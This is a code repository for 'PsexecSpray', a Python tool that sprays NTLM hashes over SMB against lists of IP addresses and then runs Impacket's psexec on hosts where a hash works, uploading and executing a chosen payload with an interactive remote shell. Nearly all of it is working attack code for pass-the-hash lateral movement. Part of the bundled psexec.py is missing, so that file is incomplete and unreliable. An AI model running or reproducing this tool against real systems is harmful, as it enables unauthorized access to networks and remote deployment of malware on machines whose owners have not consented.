├── README.md ├── psexec.py └── psexecspray.py /README.md: -------------------------------------------------------------------------------- 1 | # PsexecSpray - Python3.7 2 | Spray Hashes and Run Psexec on Working Hashes 3 | 4 | ## Getting Started 5 | 1. ```git clone https://github.com/Charliedean/psexecspray.git``` 6 | 2. ```cd Psexecspray``` 7 | 3. ```pip3 install blessed``` Dependencies 8 | 4. ```clone impacket and setup install``` Dependencies 9 | 4. ```python3 ./psexecspray.py /path/to/payload``` 10 | 5. ```Run Psexecspray with -h for Help``` 11 | 12 | -------------------------------------------------------------------------------- /psexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) 9 | # 10 | # Author: 11 | # beto (@agsolino) 12 | # 13 | # Reference for: 14 | # DCE/RPC and SMB. 15 | 16 | import sys 17 | import os 18 | import cmd 19 | import logging 20 | from threading import Thread, Lock 21 | import argparse 22 | import random 23 | import string 24 | import time 25 | from six import PY3 26 | 27 | from impacket.examples import logger 28 | from impacket import version, smb 29 | from impacket.smbconnection import SMBConnection 30 | from impacket.dcerpc.v5 import transport 31 | from impacket.structure import Structure 32 | from impacket.examples import remcomsvc, serviceinstall 33 | 34 | 35 | class RemComMessage(Structure): 36 | structure = ( 37 | ('Command','4096s=""'), 38 | ('WorkingDir','260s=""'), 39 | ('Priority',' 0: 97 | try: 98 | s.waitNamedPipe(tid,pipe) 99 | pipeReady = True 100 | except: 101 | tries -= 1 102 | time.sleep(2) 103 | pass 104 | 105 | if tries == 0: 106 | raise Exception('Pipe not ready, aborting') 107 | 108 | fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) 109 | 110 | return fid 111 | 112 | def doStuff(self, rpctransport): 113 | 114 | dce = rpctransport.get_dce_rpc() 115 | try: 116 | dce.connect() 117 | except Exception as e: 118 | if logging.getLogger().level == logging.DEBUG: 119 | import traceback 120 | traceback.print_exc() 121 | logging.critical(str(e)) 122 | sys.exit(1) 123 | 124 | global dialect 125 | dialect = rpctransport.get_smb_connection().getDialect() 126 | 127 | try: 128 | unInstalled = False 129 | s = rpctransport.get_smb_connection() 130 | 131 | # We don't wanna deal with timeouts from now on. 132 | s.setTimeout(100000) 133 | if self.__exeFile is None: 134 | installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc(), self.__serviceName) 135 | else: 136 | try: 137 | f = open(self.__exeFile) 138 | except Exception as e: 139 | logging.critical(str(e)) 140 | sys.exit(1) 141 | installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) 142 | 143 | if installService.install() is False: 144 | return 145 | 146 | if self.__exeFile is not None: 147 | f.close() 148 | 149 | # Check if we need to copy a file for execution 150 | if self.__copyFile is not None: 151 | installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) 152 | # And we change the command to be executed to this filename 153 | self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command 154 | 155 | tid = s.connectTree('IPC$') 156 | fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) 157 | 158 | packet = RemComMessage() 159 | pid = os.getpid() 160 | 161 | packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) 162 | if self.__path is not None: 163 | packet['WorkingDir'] = self.__path 164 | packet['Command'] = self.__command 165 | packet['ProcessID'] = pid 166 | 167 | s.writeNamedPipe(tid, fid_main, packet.getData()) 168 | 169 | # Here we'll store the command we type so we don't print it back ;) 170 | # ( I know.. globals are nasty :P ) 171 | global LastDataSent 172 | LastDataSent = '' 173 | 174 | # Create the pipes threads 175 | stdin_pipe = RemoteStdInPipe(rpctransport, 176 | r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), 177 | smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) 178 | stdin_pipe.start() 179 | stdout_pipe = RemoteStdOutPipe(rpctransport, 180 | r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), 181 | smb.FILE_READ_DATA) 182 | stdout_pipe.start() 183 | stderr_pipe = RemoteStdErrPipe(rpctransport, 184 | r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), 185 | smb.FILE_READ_DATA) 186 | stderr_pipe.start() 187 | 188 | # And we stay here till the end 189 | ans = s.readNamedPipe(tid,fid_main,8) 190 | 191 | if len(ans): 192 | retCode = RemComResponse(ans) 193 | logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( 194 | self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) 195 | installService.uninstall() 196 | if self.__copyFile is not None: 197 | # We copied a file for execution, let's remove it 198 | s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 199 | unInstalled = True 200 | sys.exit(retCode['ErrorCode']) 201 | 202 | except SystemExit: 203 | raise 204 | except Exception as e: 205 | if logging.getLogger().level == logging.DEBUG: 206 | import traceback 207 | traceback.print_exc() 208 | logging.debug(str(e)) 209 | if unInstalled is False: 210 | installService.uninstall() 211 | if self.__copyFile is not None: 212 | s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 213 | sys.stdout.flush() 214 | sys.exit(1) 215 | 216 | class Pipes(Thread): 217 | def __init__(self, transport, pipe, permissions, share=None): 218 | Thread.__init__(self) 219 | self.server = 0 220 | self.transport = transport 221 | self.credentials = transport.get_credentials() 222 | self.tid = 0 223 | self.fid = 0 224 | self.share = share 225 | self.port = transport.get_dport() 226 | self.pipe = pipe 227 | self.permissions = permissions 228 | self.daemon = True 229 | 230 | def connectPipe(self): 231 | try: 232 | lock.acquire() 233 | global dialect 234 | #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) 235 | self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(), 236 | sess_port=self.port, preferredDialect=dialect) 237 | user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 238 | if self.transport.get_kerberos() is True: 239 | self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) 240 | else: 241 | self.server.login(user, passwd, domain, lm, nt) 242 | lock.release() 243 | self.tid = self.server.connectTree('IPC$') 244 | 245 | self.server.waitNamedPipe(self.tid, self.pipe) 246 | self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) 247 | self.server.setTimeout(1000000) 248 | except: 249 | if logging.getLogger().level == logging.DEBUG: 250 | import traceback 251 | traceback.print_exc() 252 | logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) 253 | 254 | 255 | class RemoteStdOutPipe(Pipes): 256 | def __init__(self, transport, pipe, permisssions): 257 | Pipes.__init__(self, transport, pipe, permisssions) 258 | 259 | def run(self): 260 | self.connectPipe() 261 | while True: 262 | try: 263 | ans = self.server.readFile(self.tid,self.fid, 0, 1024) 264 | except: 265 | pass 266 | else: 267 | try: 268 | global LastDataSent 269 | if ans != LastDataSent: 270 | sys.stdout.write(ans.decode('cp437')) 271 | sys.stdout.flush() 272 | else: 273 | # Don't echo what I sent, and clear it up 274 | LastDataSent = '' 275 | # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, 276 | # it will give false positives tho.. we should find a better way to handle this. 277 | if LastDataSent > 10: 278 | LastDataSent = '' 279 | except: 280 | pass 281 | 282 | class RemoteStdErrPipe(Pipes): 283 | def __init__(self, transport, pipe, permisssions): 284 | Pipes.__init__(self, transport, pipe, permisssions) 285 | 286 | def run(self): 287 | self.connectPipe() 288 | while True: 289 | try: 290 | ans = self.server.readFile(self.tid,self.fid, 0, 1024) 291 | except: 292 | pass 293 | else: 294 | try: 295 | sys.stderr.write(str(ans)) 296 | sys.stderr.flush() 297 | except: 298 | pass 299 | 300 | class RemoteShell(cmd.Cmd): 301 | def __init__(self, server, port, credentials, tid, fid, share, transport): 302 | cmd.Cmd.__init__(self, False) 303 | self.prompt = '\x08' 304 | self.server = server 305 | self.transferClient = None 306 | self.tid = tid 307 | self.fid = fid 308 | self.credentials = credentials 309 | self.share = share 310 | self.port = port 311 | self.transport = transport 312 | self.intro = '[!] Press help for extra shell commands' 313 | 314 | def connect_transferClient(self): 315 | #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) 316 | self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, 317 | preferredDialect=dialect) 318 | user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 319 | if self.transport.get_kerberos() is True: 320 | self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, 321 | kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) 322 | else: 323 | self.transferClient.login(user, passwd, domain, lm, nt) 324 | 325 | def do_help(self, line): 326 | print(""" 327 | lcd {path} - changes the current local directory to {path} 328 | exit - terminates the server process (and this session) 329 | put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) 330 | get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir 331 | ! {cmd} - executes a local shell cmd 332 | """ % (self.share, self.share)) 333 | self.send_data('\r\n', False) 334 | 335 | def do_shell(self, s): 336 | os.system(s) 337 | self.send_data('\r\n') 338 | 339 | def do_get(self, src_path): 340 | try: 341 | if self.transferClient is None: 342 | self.connect_transferClient() 343 | 344 | import ntpath 345 | filename = ntpath.basename(src_path) 346 | fh = open(filename,'wb') 347 | logging.info("Downloading %s\\%s" % (self.share, src_path)) 348 | self.transferClient.getFile(self.share, src_path, fh.write) 349 | fh.close() 350 | except Exception as e: 351 | logging.critical(str(e)) 352 | pass 353 | 354 | self.send_data('\r\n') 355 | 356 | def do_put(self, s): 357 | try: 358 | if self.transferClient is None: 359 | self.connect_transferClient() 360 | params = s.split(' ') 361 | if len(params) > 1: 362 | src_path = params[0] 363 | dst_path = params[1] 364 | elif len(params) == 1: 365 | src_path = params[0] 366 | dst_path = '/' 367 | 368 | src_file = os.path.basename(src_path) 369 | fh = open(src_path, 'rb') 370 | f = dst_path + '/' + src_file 371 | pathname = f.replace('/','\\') 372 | logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) 373 | if PY3: 374 | self.transferClient.putFile(self.share, pathname, fh.read) 375 | else: 376 | self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) 377 | fh.close() 378 | except Exception as e: 379 | logging.error(str(e)) 380 | pass 381 | 382 | self.send_data('\r\n') 383 | 384 | def do_lcd(self, s): 385 | if s == '': 386 | print(os.getcwd()) 387 | else: 388 | os.chdir(s) 389 | self.send_data('\r\n') 390 | 391 | def emptyline(self): 392 | self.send_data('\r\n') 393 | return 394 | 395 | def default(self, line): 396 | if PY3: 397 | self.send_data(line.encode('cp437')+b'\r\n') 398 | else: 399 | self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') 400 | 401 | def send_data(self, data, hideOutput = True): 402 | if hideOutput is True: 403 | global LastDataSent 404 | LastDataSent = data 405 | else: 406 | LastDataSent = '' 407 | self.server.writeFile(self.tid, self.fid, data) 408 | 409 | class RemoteStdInPipe(Pipes): 410 | def __init__(self, transport, pipe, permisssions, share=None): 411 | self.shell = None 412 | Pipes.__init__(self, transport, pipe, permisssions, share) 413 | 414 | def run(self): 415 | self.connectPipe() 416 | self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) 417 | self.shell.cmdloop() 418 | 419 | # Process command-line arguments. 420 | if __name__ == '__main__': 421 | # Init the example's logger theme 422 | logger.init() 423 | print(version.BANNER) 424 | 425 | parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") 426 | 427 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 428 | parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at ' 429 | 'the target (w/o path) - (default:cmd.exe)') 430 | parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, ' 431 | 'arguments are passed in the command option') 432 | parser.add_argument('-path', action='store', help='path of the command to execute') 433 | parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") 434 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 435 | 436 | group = parser.add_argument_group('authentication') 437 | 438 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 439 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 440 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 441 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 442 | 'ones specified in the command line') 443 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 444 | '(128 or 256 bits)') 445 | 446 | group = parser.add_argument_group('connection') 447 | 448 | group.add_argument('-dc-ip', action='store', metavar="ip address", 449 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 450 | 'the target parameter') 451 | group.add_argument('-target-ip', action='store', metavar="ip address", 452 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 453 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 454 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 455 | help='Destination port to connect to SMB Server') 456 | group.add_argument('-service-name', action='store', metavar="service name", default = '', help='This will be the name of the service') 457 | 458 | if len(sys.argv)==1: 459 | parser.print_help() 460 | sys.exit(1) 461 | 462 | options = parser.parse_args() 463 | 464 | if options.debug is True: 465 | logging.getLogger().setLevel(logging.DEBUG) 466 | else: 467 | logging.getLogger().setLevel(logging.INFO) 468 | 469 | import re 470 | 471 | domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 472 | options.target).groups('') 473 | 474 | #In case the password contains '@' 475 | if '@' in remoteName: 476 | password = password + '@' + remoteName.rpartition('@')[0] 477 | remoteName = remoteName.rpartition('@')[2] 478 | 479 | if domain is None: 480 | domain = '' 481 | 482 | if options.target_ip is None: 483 | options.target_ip = remoteName 484 | 485 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 486 | from getpass import getpass 487 | password = getpass("Password:") 488 | 489 | if options.aesKey is not None: 490 | options.k = True 491 | 492 | command = ' '.join(options.command) 493 | if command == ' ': 494 | command = 'cmd.exe' 495 | 496 | executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes, 497 | options.aesKey, options.k, options.dc_ip, options.service_name) 498 | executer.run(remoteName, options.target_ip) 499 | -------------------------------------------------------------------------------- /psexecspray.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import psexec 3 | import time 4 | import blessed 5 | import sys 6 | import re 7 | import argparse 8 | import signal 9 | from impacket.smbconnection import * 10 | import multiprocessing 11 | 12 | 13 | class timeout: 14 | 15 | def __init__(self, seconds, error_message='Timeout'): 16 | self.seconds = seconds 17 | self.error_message = error_message 18 | 19 | def handle_timeout(self, signum, frame): 20 | raise Exception(self.error_message) 21 | 22 | def __enter__(self): 23 | signal.signal(signal.SIGALRM, self.handle_timeout) 24 | signal.alarm(self.seconds) 25 | 26 | def __exit__(self, type, value, traceback): 27 | signal.alarm(0) 28 | 29 | t = blessed.Terminal() 30 | 31 | 32 | def StartPsexec(exeFile, targetusername, psexechash, targetdomain, psexecip): 33 | PSEXEC = psexec.PSEXEC(command="", path="", exeFile=exeFile, copyFile="", protocols=None, username=targetusername, 34 | hashes=psexechash, domain=targetdomain, password='', aesKey=None, doKerberos=False) 35 | print(t.bold_green + "\n[*] Starting Psexec...." + t.normal) 36 | time.sleep(15) 37 | try: 38 | PSEXEC.run(psexecip) 39 | except SessionError: 40 | print(t.bold_red + "[*] Clean Up Failed, Remove Manually with Shell") 41 | 42 | 43 | def DoPsexecSpray(exeFile, hashfile="", ipfile="", username="", domain=""): 44 | targetsprayhash = [] 45 | targetipseperated = [] 46 | workinghashes = [] 47 | print(t.bold_green + "[*] Chosen Payload: " + t.normal + exeFile) 48 | if not hashfile: 49 | targethash = input("[*] Enter Hashes Seperated by Comma: ") 50 | targetsprayhash = targethash.split(",") 51 | else: 52 | print(t.bold_green + "[*] Hash File Selected: " + t.normal + hashfile) 53 | file = open(hashfile, "r") 54 | for hash in file: 55 | targetsprayhash.append(hash.strip("\n")) 56 | 57 | if not ipfile: 58 | targetips = input("[*] Enter IP's Serperated by Comma:") 59 | targetipseperated = targetips.split(',') 60 | else: 61 | print(t.bold_green + "[*] IP File Selected: " + t.normal + ipfile) 62 | file = open(ipfile, "r") 63 | for ip in file: 64 | targetipseperated.append(ip.strip("\n")) 65 | 66 | if not username: 67 | targetusername = input("[*] Enter Username: ") 68 | else: 69 | targetusername = username 70 | if not domain: 71 | targetdomain = input("[*] Enter Domain: ") 72 | else: 73 | targetdomain = domain 74 | 75 | for ip in targetipseperated: 76 | for hash in targetsprayhash: 77 | targetlm, targetnt = hash.split(':') 78 | print(t.green + "[*] NT:LM Hash: " + t.normal + hash.strip(' ') + "," + ip) 79 | try: 80 | with timeout(8): 81 | smb = SMBConnection(ip, ip, sess_port=445) 82 | except Exception as E: 83 | print(t.bold_red + "[!!] Timed Out!" + t.normal) 84 | print(E) 85 | continue 86 | try: 87 | smb.login(user=targetusername, password='', 88 | domain=targetdomain, lmhash=targetlm, nthash=targetnt) 89 | print(t.bold_green + "[!] This Hash Worked - " + smb.getServerName() + t.normal) 90 | workinghashes.append(hash + "," + ip) 91 | except Exception as E: 92 | print(t.bold_red + "[!] This Hash Failed" + t.normal) 93 | print(E) 94 | 95 | if workinghashes: 96 | print(t.green + "\n[*] Working Hashes:") 97 | for hash in workinghashes: 98 | print(t.bold_green + hash + t.normal) 99 | 100 | want_to_psexec = input("[*] Run Psexec on Working Hashes? [Y/n]: ") 101 | if want_to_psexec.lower() == "y" or want_to_psexec == "": 102 | for hash in workinghashes: 103 | psexechash, psexecip = hash.split(",") 104 | b = multiprocessing.Process( 105 | target=StartPsexec, args=(exeFile, targetusername, psexechash, targetdomain, psexecip)) 106 | if __name__ == "__main__": 107 | b.daemon = False 108 | else: 109 | b.daemon = True 110 | b.start() 111 | else: 112 | print(t.bold_red + "[!] No Working Hashes. Exiting..." + t.normal) 113 | 114 | 115 | if __name__ == "__main__": 116 | parser = argparse.ArgumentParser(description='Spray Smb Hashes and Psexec') 117 | parser.add_argument( 118 | "-hashfile", help="Parse Hashes from a File (Hashes Seperated by New Line)", default="") 119 | parser.add_argument( 120 | "-ipfile", help="Parse IP's from a File (IP's Seperated by New Line)", default="") 121 | parser.add_argument("-username", help="Set Username", default="") 122 | parser.add_argument("-domain", help="Set Domain", default="") 123 | parser.add_argument("payloadpath", help="Select Payload for Psexec") 124 | args = parser.parse_args() 125 | DoPsexecSpray(args.payloadpath, args.hashfile, 126 | args.ipfile, args.username, args.domain) 127 | --------------------------------------------------------------------------------